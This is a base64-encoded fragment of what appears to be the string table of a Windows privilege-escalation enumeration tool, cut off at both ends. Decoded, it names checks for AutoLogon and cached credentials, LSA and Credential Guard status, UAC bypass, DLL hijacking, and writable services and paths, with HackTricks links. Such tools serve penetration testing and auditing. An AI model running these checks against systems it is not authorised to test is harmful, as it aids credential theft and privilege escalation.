uAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBzAHQAZQBhAGwAaQBuAGcALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALwBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALQBwAHIAbwB0AGUAYwB0AGkAbwBuAHMAIwB3AGQAaQBnAGUAcwB0AAFpSQBmACAAZQBuAGEAYgBsAGUAZAAsACAAcABsAGEAaQBuAC0AdABlAHgAdAAgAGMAcgBkAHMAIABjAG8AdQBsAGQAIABiAGUAIABzAHQAbwByAGUAZAAgAGkAbgAgAEwAUwBBAFMAUwABdVMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB2AGkAZABlAHIAcwBcAFcARABpAGcAZQBzAHQAACVVAHMAZQBMAG8AZwBvAG4AQwByAGUAZABlAG4AdABpAGEAbAAAKyAAIAAgACAAVwBkAGkAZwBlAHMAdAAgAGkAcwAgAGEAYwB0AGkAdgBlAAA1IAAgACAAIABXAGQAaQBnAGUAcwB0ACAAaQBzACAAbgBvAHQAIABlAG4AYQBiAGwAZQBkAAAdTABTAEEAIABQAHIAbwB0AGUAYwB0AGkAbwBuAACAv2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHMAdABlAGEAbABpAG4AZwAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAHAAcgBvAHQAZQBjAHQAaQBvAG4AcwAjAGwAcwBhAC0AcAByAG8AdABlAGMAdABpAG8AbgABgQ1JAGYAIABlAG4AYQBiAGwAZQBkACwAIABhACAAZAByAGkAdgBlAHIAIABpAHMAIABuAGUAZQBkAGUAZAAgAHQAbwAgAHIAZQBhAGQAIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAgACgASQBmACAAUwBlAGMAdQByAGUAIABCAG8AbwB0ACAAbwByACAAVQBFAEYASQAsACAAUgB1AG4AQQBzAFAAUABMACAAYwBhAG4AbgBvAHQAIABiAGUAIABkAGkAcwBhAGIAbABlAGQAIABiAHkAIABkAGUAbABlAHQAaQBuAGcAIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgAGsAZQB5ACkAAElTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAEVIAdQBuAEEAcwBQAFAATAAAOSAAIAAgACAATABTAEEAIABQAHIAbwB0AGUAYwB0AGkAbwBuACAAaQBzACAAYQBjAHQAaQB2AGUAAEMgACAAIAAgAEwAUwBBACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGkAcwAgAG4AbwB0ACAAZQBuAGEAYgBsAGUAZAAAI0MAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEcAdQBhAHIAZAAAgMNoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBzAHQAZQBhAGwAaQBuAGcALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALwBjAHIAZQBkAGUAbgB0AGkAYQBsAHMALQBwAHIAbwB0AGUAYwB0AGkAbwBuAHMAIwBjAHIAZQBkAGUAbgB0AGkAYQBsAC0AZwB1AGEAcgBkAAFnSQBmACAAZQBuAGEAYgBsAGUAZAAsACAAYQAgAGQAcgBpAHYAZQByACAAaQBzACAAbgBlAGUAZABlAGQAIAB0AG8AIAByAGUAYQBkACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkAAElTAHkAcwB0AGUAbQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABMAFMAQQAAF0wAcwBhAEMAZgBnAEYAbABhAGcAcwAAgR8gACAAIAAgAFAAbABlAGEAcwBlACwAIABuAG8AdABlACAAdABoAGEAdAAgAHQAaABpAHMAIABvAG4AbAB5ACAAYwBoAGUAYwBrAHMAIAB0AGgAZQAgAEwAcwBhAEMAZgBnAEYAbABhAGcAcwAgAGsAZQB5ACAAdgBhAGwAdQBlAC4AIABUAGgAaQBzACAAaQBzACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHQAbwAgAGUAbgBhAGIAbABlACAAQwByAGUAZABlAG4AdABpAGEAbABzACAARwB1AGEAcgBkACAAKABiAHUAdAAgAGkAdAAnAHMAIABhACAAcwB0AHIAbwBuAGcAIABpAG4AZABpAGMAYQB0AG8AcgApAC4AAVkgACAAIAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwARwB1AGEAcgBkACAAaQBzACAAYQBjAHQAaQB2AGUAIAB3AGkAdABoACAAVQBFAEYASQAgAGwAbwBjAGsAAAMyAABfIAAgACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEcAdQBhAHIAZAAgAGkAcwAgAGEAYwB0AGkAdgBlACAAdwBpAHQAaABvAHUAdAAgAFUARQBGAEkAIABsAG8AYwBrAABFIAAgACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEcAdQBhAHIAZAAgAGkAcwAgAG4AbwB0ACAAZQBuAGEAYgBsAGUAZAAAGUMAYQBjAGgAZQBkACAAQwByAGUAZABzAACAx2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHMAdABlAGEAbABpAG4AZwAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAtAHAAcgBvAHQAZQBjAHQAaQBvAG4AcwAjAGMAYQBjAGgAZQBkAC0AYwByAGUAZABlAG4AdABpAGEAbABzAAGAoUkAZgAgAD4AIAAwACwAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAB3AGkAbABsACAAYgBlACAAYwBhAGMAaABlAGQAIABpAG4AIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgAGEAbgBkACAAYQBjAGMAZQBzAHMAaQBiAGwAZQAgAGIAeQAgAFMAWQBTAFQARQBNACAAdQBzAGUAcgAAa1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFcAaQBuAGwAbwBnAG8AbgAAI0MAQQBDAEgARQBEAEwATwBHAE8ATgBTAEMATwBVAE4AVAAAMyAAIAAgACAAYwBhAGMAaABlAGQAbABvAGcAbwBuAHMAYwBvAHUAbgB0ACAAaQBzACAAADVVAHMAZQByACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlAHMAAGtDAGgAZQBjAGsAIABmAG8AcgAgAHMAbwBtAGUAIABwAGEAcwBzAHcAbwByAGQAcwAgAG8AcgAgAGsAZQB5AHMAIABpAG4AIAB0AGgAZQAgAGUAbgB2ACAAdgBhAHIAaQBhAGIAbABlAHMAADlTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQBzAAAbUAByAG8AeAB5AFMAZQByAHYAZQByAC4AKgAALUgASwBDAFUAIABJAG4AdABlAHIAbgBlAHQAIABTAGUAdAB0AGkAbgBnAHMAAC1IAEsATABNACAASQBuAHQAZQByAG4AZQB0ACAAUwBlAHQAdABpAG4AZwBzAAAlRAByAGkAdgBlAHMAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAtUADEAMQAyADAAAICDUgBlAG0AZQBtAGIAZQByACAAdABoAGEAdAAgAHkAbwB1ACAAcwBoAG8AdQBsAGQAIABzAGUAYQByAGMAaAAgAG0AbwByAGUAIABpAG4AZgBvACAAaQBuAHMAaQBkAGUAIAB0AGgAZQAgAG8AdABoAGUAcgAgAGQAcgBpAHYAZQBzAAAbUABlAHIAbQBpAHMAcwBpAG8AbgBzAC4AKgAAJyAAIAAgACAAewAwAH0AIAAoAFQAeQBwAGUAOgAgAHsAMQB9ACkAABlWAG8AbAB1AG0AZQAgAGwAYQBiAGUAbAAAHygAVgBvAGwAdQBtAGUAIABsAGEAYgBlAGwAOgAgAAAVRgBpAGwAZQBzAHkAcwB0AGUAbQAAGygARgBpAGwAZQBzAHkAcwB0AGUAbQA6ACAAAB9BAHYAYQBpAGwAYQBiAGwAZQAgAHMAcABhAGMAZQAAJSgAQQB2AGEAaQBsAGEAYgBsAGUAIABzAHAAYQBjAGUAOgAgAAAJIABHAEIAKQAAHSgAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAAAHUEAVgAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAC1QAMQAwADYAMwAAWyAAIAAgACAAUwBvAG0AZQAgAEEAVgAgAHcAYQBzACAAZABlAHQAZQBjAHQAZQBkACwAIABzAGUAYQByAGMAaAAgAGYAbwByACAAYgB5AHAAYQBzAHMAZQBzAAAxIAAgACAAIABOAG8AIABBAFYAIAB3AGEAcwAgAGQAZQB0AGUAYwB0AGUAZAAhACEAABVVAEEAQwAgAFMAdABhAHQAdQBzAACA32gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwBiAGEAcwBpAGMALQB1AGEAYwAtAGIAeQBwAGEAcwBzAC0AZgB1AGwAbAAtAGYAaQBsAGUALQBzAHkAcwB0AGUAbQAtAGEAYwBjAGUAcwBzAAGAhUkAZgAgAHkAbwB1ACAAYQByAGUAIABpAG4AIAB0AGgAZQAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAgAGcAcgBvAHUAcAAgAGMAaABlAGMAawAgAGgAbwB3ACAAdABvACAAYgB5AHAAYQBzAHMAIAB0AGgAZQAgAFUAQQBDAAATRQBuAGEAYgBsAGUATABVAEEAAIDfIAAgACAAIAAgACAAWwAqAF0AIABFAG4AYQBiAGwAZQBMAFUAQQAgACEAPQAgADEALAAgAFUAQQBDACAAcABvAGwAaQBjAGkAZQBzACAAZABpAHMAYQBiAGwAZQBkAC4ADQAKACAAIAAgACAAIAAgAFsAKwBdACAAQQBuAHkAIABsAG8AYwBhAGwAIABhAGMAYwBvAHUAbgB0ACAAYwBhAG4AIABiAGUAIAB1AHMAZQBkACAAZgBvAHIAIABsAGEAdABlAHIAYQBsACAAbQBvAHYAZQBtAGUAbgB0AC4AADtMAG8AYwBhAGwAQQBjAGMAbwB1AG4AdABUAG8AawBlAG4ARgBpAGwAdABlAHIAUABvAGwAaQBjAHkAAIDhIAAgACAAIAAgACAAWwAqAF0AIABMAG8AYwBhAGwAQQBjAGMAbwB1AG4AdABUAG8AawBlAG4ARgBpAGwAdABlAHIAUABvAGwAaQBjAHkAIABzAGUAdAAgAHQAbwAgADEALgANAAoAIAAgACAAIAAgACAAWwArAF0AIABBAG4AeQAgAGwAbwBjAGEAbAAgAGEAYwBjAG8AdQBuAHQAIABjAGEAbgAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGwAYQB0AGUAcgBhAGwAIABtAG8AdgBlAG0AZQBuAHQALgAAMUYAaQBsAHQAZQByAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAVABvAGsAZQBuAACBSyAAIAAgACAAIAAgAFsAKgBdACAATABvAGMAYQBsAEEAYwBjAG8AdQBuAHQAVABvAGsAZQBuAEYAaQBsAHQAZQByAFAAbwBsAGkAYwB5ACAAcwBlAHQAIAB0AG8AIAAwACAAYQBuAGQAIABGAGkAbAB0AGUAcgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFQAbwBrAGUAbgAgACEAPQAgADEALgANAAoAIAAgACAAIAAgACAAWwAtAF0AIABPAG4AbAB5ACAAdABoAGUAIABSAEkARAAtADUAMAAwACAAbABvAGMAYQBsACAAYQBkAG0AaQBuACAAYQBjAGMAbwB1AG4AdAAgAGMAYQBuACAAYgBlACAAdQBzAGUAZAAgAGYAbwByACAAbABhAHQAZQByAGEAbAAgAG0AbwB2AGUAbQBlAG4AdAAuAAGBJSAAIAAgACAAIAAgAFsAKgBdACAATABvAGMAYQBsAEEAYwBjAG8AdQBuAHQAVABvAGsAZQBuAEYAaQBsAHQAZQByAFAAbwBsAGkAYwB5ACAAcwBlAHQAIAB0AG8AIAAwACAAYQBuAGQAIABGAGkAbAB0AGUAcgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAFQAbwBrAGUAbgAgAD0APQAgADEALgANAAoAIAAgACAAIAAgACAAWwAtAF0AIABOAG8AIABsAG8AYwBhAGwAIABhAGMAYwBvAHUAbgB0AHMAIABjAGEAbgAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGwAYQB0AGUAcgBhAGwAIABtAG8AdgBlAG0AZQBuAHQALgABJXwARABlAGYAYQB1AGwAdABQAGEAcwBzAHcAbwByAGQALgAqAAARRABpAHMAYQBiAGwAZQBkAAALVQBzAGUAcgBzAAAjVAAxADAAOAA3ACYAVAAxADAANgA5ACYAVAAxADAAMwAzAACAr2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwB1AHMAZQByAHMALQBhAG4AZAAtAGcAcgBvAHUAcABzAAFlQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABoAGEAdgBlACAAcwBvAG0AZQAgAGEAZABtAGkAbgAgAGUAcQB1AGkAdgBhAGwAZQBuAHQAIABwAHIAaQB2AGkAbABlAGcAZQBzAAAhIAAgAEMAdQByAHIAZQBuAHQAIAB1AHMAZQByADoAIAAAJSAAIABDAHUAcgByAGUAbgB0ACAAZwByAG8AdQBwAHMAOgAgAAAxQwB1AHIAcgBlAG4AdAAgAFQAbwBrAGUAbgAgAHAAcgBpAHYAaQBsAGUAZwBlAHMAAAtUADEAMQAzADQAAICzaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHQAbwBrAGUAbgAtAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuAAF5QwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAGUAcwBjAGEAbABhAHQAZQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAdQBzAGkAbgBnACAAcwBvAG0AZQAgAGUAbgBhAGIAbABlAGQAIAB0AG8AawBlAG4AAB1DAGwAaQBwAGIAbwBhAHIAZAAgAHQAZQB4AHQAAC0tAGMAbwBtAG0AYQBuAGQAIABHAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkAAGAuyAAIAAgACAAVABoAGkAcwAgAEMAIwAgAGkAbQBwAGwAZQBtAGUAbgB0AGEAdABpAG8AbgAgAHQAbwAgAGMAYQBwAHQAdQByAGUAIAB0AGgAZQAgAGMAbABpAHAAYgBvAGEAcgBkACAAaQBzACAAbgBvAHQAIAB0AHIAdQBzAHQAYQBiAGwAZQAgAGkAbgAgAGUAdgBlAHIAeQAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuAACAxyAAIAAgACAASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAcwBlAGUAIAB3AGgAYQB0ACAAaQBzACAAaQBuAHMAaQBkAGUAIAB0AGgAZQAgAGMAbABpAHAAYgBvAGEAcgBkACAAZQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwBvAG0AbQBhAG4AZAAgACIARwBlAHQAIAAtACAAQwBsAGkAcABiAG8AYQByAGQAIgAnAAEZTABvAGcAZwBlAGQAIAB1AHMAZQByAHMAABdUADEAMAA4ADcAJgBUADEAMAAzADMAABlSAEQAUAAgAFMAZQBzAHMAaQBvAG4AcwAAVSAAIAAgACAAewAwACwALQAxADAAfQB7ADEALAAtADEANQB9AHsAMgAsAC0AMQA1AH0AewAzACwALQAyADUAfQB7ADQALAAtADEAMAB9AHsANQB9AAENUwBlAHMAcwBJAEQAABlwAFMAZQBzAHMAaQBvAG4ATgBhAG0AZQAAE3AAVQBzAGUAcgBOAGEAbQBlAAAXcABEAG8AbQBhAGkAbgBOAGEAbQBlAAARUwBvAHUAcgBjAGUASQBQAAATUwBlAHMAcwBpAG8AbgBJAEQAACNFAHYAZQByACAAbABvAGcAZwBlAGQAIAB1AHMAZQByAHMAAENMAG8AbwBrAGkAbgBnACAAZgBvAHIAIABBAHUAdABvAEwAbwBnAG8AbgAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAVyAAIAAgACAAUwBvAG0AZQAgAEEAdQB0AG8ATABvAGcAbwBuACAAYwByAGUAZABlAG4AdABpAGEAbABzACAAdwBlAHIAZQAgAGYAbwB1AG4AZAAhACEAACMgACAAIAAgAHsAMAAsAC0AMwAwAH0AOgAgACAAewAxAH0AASVIAG8AbQBlACAAZgBvAGwAZABlAHIAcwAgAGYAbwB1AG4AZAAAI1QAMQAwADgANwAmAFQAMQAwADgAMwAmAFQAMQAwADMAMwAAByAAOgAgAAAjUABhAHMAcwB3AG8AcgBkACAAUABvAGwAaQBjAGkAZQBzAAALVAAxADIAMAAxAABBQwBoAGUAYwBrACAAZgBvAHIAIABhACAAcABvAHMAcwBpAGIAbABlACAAYgByAHUAdABlAC0AZgBvAHIAYwBlAAFLSQBuAHQAZQByAGUAcwB0AGkAbgBnACAAUAByAG8AYwBlAHMAcwBlAHMAIAAtAG4AbwBuACAATQBpAGMAcgBvAHMAbwBmAHQALQABI1QAMQAwADEAMAAmAFQAMQAwADUANwAmAFQAMQAwADAANwAAgLFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcgB1AG4AbgBpAG4AZwAtAHAAcgBvAGMAZQBzAHMAZQBzAAGAxUMAaABlAGMAawAgAGkAZgAgAGEAbgB5ACAAaQBuAHQAZQByAGUAcwB0AGkAbgBnACAAcAByAG8AYwBjAGUAcwBzAGUAcwAgAGYAbwByACAAbQBlAG0AbQBvAHIAeQAgAGQAdQBtAHAAIABvAHIAIABpAGYAIAB5AG8AdQAgAGMAbwB1AGwAZAAgAG8AdgBlAHIAdwByAGkAdABlACAAcwBvAG0AZQAgAGIAaQBuAGEAcgB5ACAAcgB1AG4AbgBpAG4AZwAAHVAAZQByAG0AaQBzAHMAaQBvAG4AcwA6AC4AKgAAMVAAbwBzAHMAaQBiAGwAZQAgAEQATABMACAASABpAGoAYQBjAGsAaQBuAGcALgAqAAAFXAAoAAAFXAApAAADXQAABVwAXQAAA1sAAAVcAFsAAAM/AAAFXAA/AAADKwAABVwAKwAADVsAXgAiAF4AJwBdAAEjIAAgACAAIAB7ADAAfQAoAHsAMQB9ACkAWwB7ADIAfQBdAAALOgAgAHsAMwB9AAAbIAAtAC0AIABQAE8AdwBuADoAIAB7ADQAfQABDyAALQAtACAAewA1AH0AASsKACAAIAAgACAAUABlAHIAbQBpAHMAcwBpAG8AbgBzADoAIAB7ADYAfQAAWwoAIAAgACAAIABQAG8AcwBzAGkAYgBsAGUAIABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACAAZgBvAGwAZABlAHIAOgAgAHsANwB9ACAAKAB7ADgAfQApAAAjQwBvAG0AbQBhAG4AZAAgAEwAaQBuAGUAOgAgAHsAOQB9AABJSQBuAHQAZQByAGUAcwB0AGkAbgBnACAAUwBlAHIAdgBpAGMAZQBzACAALQBuAG8AbgAgAE0AaQBjAHIAbwBzAG8AZgB0AC0AAQtUADEAMAAwADcAAICfaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAZQByAHYAaQBjAGUAcwABgNFDAGgAZQBjAGsAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbwB2AGUAcgB3AHIAaQB0AGUAIABzAG8AbQBlACAAcwBlAHIAdgBpAGMAZQAgAGIAaQBuAGEAcgB5ACAAbwByACAAcABlAHIAZgBvAHIAbQAgAGEAIABEAEwATAAgAGgAaQBqAGEAYwBrAGkAbgBnACwAIABhAGwAcwBvACAAYwBoAGUAYwBrACAAZgBvAHIAIAB1AG4AcQB1AG8AdABlAGQAIABwAGEAdABoAHMAABlGAGkAbAB0AGUAcgBlAGQAUABhAHQAaAAAEVAAYQB0AGgATgBhAG0AZQAAESAAIAAgACAAewAwAH0AKAAAF0MAbwBtAHAAYQBuAHkATgBhAG0AZQAADXsAMQB9ACAALQAgAAEXRABpAHMAcABsAGEAeQBOAGEAbQBlAAAHewAyAH0AAAtbAHsAMwB9AF0AABNTAHQAYQByAHQATQBvAGQAZQAADSAALQAgAHsANAB9AAENIAAtACAAewA1AH0AAQ0gAC0AIAB7ADYAfQABDSAALQAgAHsANwB9AAE/CgAgACAAIAAgAFkAbwB1ACAAYwBhAG4AIABTAFQAQQBSAFQAIAB0AGgAaQBzACAAcwBlAHIAdgBpAGMAZQAARQoAIAAgACAAIABZAE8AVQAgAEMAQQBOACAATQBPAEQASQBGAFkAIABUAEgASQBTACAAUwBFAFIAVgBJAEMARQA6ACAAADUKACAAIAAgACAARgBpAGwAZQAgAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAewA4AH0AAHEKACAAIAAgACAAUABvAHMAcwBpAGIAbABlACAARABMAEwAIABIAGkAagBhAGMAawBpAG4AZwAgAGkAbgAgAGIAaQBuAGEAcgB5ACAAZgBvAGwAZABlAHIAOgAgAHsAOQB9ACAAKAB7ADEAMAB9ACkAAAl7ADEAMQB9AAAnRgBpAGwAZQAgAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6AC4AKgAAOU4AbwAgAHEAdQBvAHQAZQBzACAAYQBuAGQAIABTAHAAYQBjAGUAIABkAGUAdABlAGMAdABlAGQAAD1ZAE8AVQAgAEMAQQBOACAATQBPAEQASQBGAFkAIABUAEgASQBTACAAUwBFAFIAVgBJAEMARQA6AC4AKgAADyAAUwBUAEEAUgBUACAAACdNAG8AZABpAGYAaQBhAGIAbABlACAAUwBlAHIAdgBpAGMAZQBzAABHQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAG0AbwBkAGkAZgB5ACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAABbIAAgACAAIABMAE8ATwBLAFMAIABMAEkASwBFACAAWQBPAFUAIABDAEEATgAgAE0ATwBEAEkARgBZACAAUwBPAE0ARQAgAFMARQBSAFYASQBDAEUALwBzADoAAAUuACoAAEMgACAAIAAgAFkAbwB1ACAAYwBhAG4AbgBvAHQAIABtAG8AZABpAGYAeQAgAGEAbgB5ACAAcwBlAHIAdgBpAGMAZQAAXUwAbwBvAGsAaQBuAGcAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbQBvAGQAaQBmAHkAIABhAG4AeQAgAHMAZQByAHYAaQBjAGUAIAByAGUAZwBpAHMAdAByAHkAAIDJaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAHMAZQByAHYAaQBjAGUAcwAtAHIAZQBnAGkAcwB0AHIAeQAtAHAAZQByAG0AaQBzAHMAaQBvAG4AcwABY0MAaABlAGMAawAgAGkAZgAgAHkAbwB1ACAAYwBhAG4AIABtAG8AZABpAGYAeQAgAHQAaABlACAAcgBlAGcAaQBzAHQAcgB5ACAAbwBmACAAYQAgAHMAZQByAHYAaQBjAGUAAA1cACgALgAqAFwAKQAAgIcgACAAIAAgAFsALQBdACAATABvAG8AawBzACAAbABpAGsAZQAgAHkAbwB1ACAAYwBhAG4AbgBvAHQAIABjAGgAYQBuAGcAZQAgAHQAaABlACAAcgBlAGcAaQBzAHQAcgB5ACAAbwBmACAAYQBuAHkAIABzAGUAcgB2AGkAYwBlAC4ALgAuAAEbIAAgACAAIAB7ADAAfQAgACgAewAxAH0AKQAAdUMAaABlAGMAawBpAG4AZwAgAHcAcgBpAHQAZQAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAgAGkAbgAgAFAAQQBUAEgAIABmAG8AbABkAGUAcgBzACAAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAAICpaAB0AHQAcABzADoALwAvAGIAbwBvAGsALgBoAGEAYwBrAHQAcgBpAGMAawBzAC4AeAB5AHoALwB3AGkAbgBkAG8AdwBzAC8AdwBpAG4AZABvAHcAcwAtAGwAbwBjAGEAbAAtAHAAcgBpAHYAaQBsAGUAZwBlAC0AZQBzAGMAYQBsAGEAdABpAG8AbgAjAGQAbABsAC0AaABpAGoAYQBjAGsAaQBuAGcAAU9DAGgAZQBjAGsAIABmAG8AcgAgAEQATABMACAASABpAGoAYQBjAGsAaQBuAGcAIABpAG4AIABQAEEAVABIACAAZgBvAGwAZABlAHIAcwAAKSAAIAAgACAAKABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACkAIAAAQ0MAdQByAHIAZQBuAHQAIABBAGMAdABpAHYAZQAgAFcAaQBuAGQAbwB3ACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuAAAXVAAxADAAMQAwACYAVAAxADUAMQA4AAArIAAgACAAIABGAGkAbABlAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAAAMsAABhIAAgACAAIABQAG8AcwBzAGkAYgBsAGUAIABEAEwATAAgAEgAaQBqAGEAYwBrAGkAbgBnACwAIABmAG8AbABkAGUAcgAgAGkAcwAgAHcAcgBpAHQAYQBiAGwAZQA6ACAAAC8gACAAIAAgAEYAbwBsAGQAZQByAFAAZQByAG0AaQBzAHMAaQBvAG4AcwA6ACAAAH9JAG4AcwB0AGEAbABsAGUAZAAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzACAALQAtAFYAaQBhACAAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAvAFUAbgBpAG4AcwB0AGEAbABsACAAcgBlAGcAaQBzAHQAcgB5AC0ALQABL1QAMQAwADgAMwAmAFQAMQAwADEAMgAmAFQAMQAwADEAMAAmAFQAMQA1ADEAOAAAgJ9oAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAcwBvAGYAdAB3AGEAcgBlAAFVQwBoAGUAYwBrACAAaQBmACAAeQBvAHUAIABjAGEAbgAgAG0AbwBkAGkAZgB5ACAAaQBuAHMAdABhAGwAbABlAGQAIABzAG8AZgB0AHcAYQByAGUAACUgACAAIAAgAD0APQA+ACAAIAB7ADAAfQAgACgAewAxAH0AKQAAGSAAIAAgACAAewAwAH0AKAB7ADEAfQApAAApQQB1AHQAbwByAHUAbgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBzAAALVAAxADAAMQAwAACAq2gAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAC4AaABhAGMAawB0AHIAaQBjAGsAcwAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAHcAaQBuAGQAbwB3AHMALQBsAG8AYwBhAGwALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AIwByAHUAbgAtAGEAdAAtAHMAdABhAHIAdAB1AHAAAWtDAGgAZQBjAGsAIABpAGYAIAB5AG8AdQAgAGMAYQBuACAAbQBvAGQAaQBmAHkAIABvAHQAaABlAHIAIAB1AHMAZQByAHMAIABBAHUAdABvAFIAdQBuAHMAIABiAGkAbgBhAHIAaQBlAHMAAB1GAG8AbABkAGUAcgBQAGUAcgBtAHMAOgAuACoAABlGAGkAbABlAFAAZQByAG0AcwA6AC4AKgAAOygAVQBuAHEAdQBvAHQAZQBkACAAYQBuAGQAIABTAHAAYQBjAGUAIABkAGUAdABlAGMAdABlAGQAKQAAGVIAZQBnAFA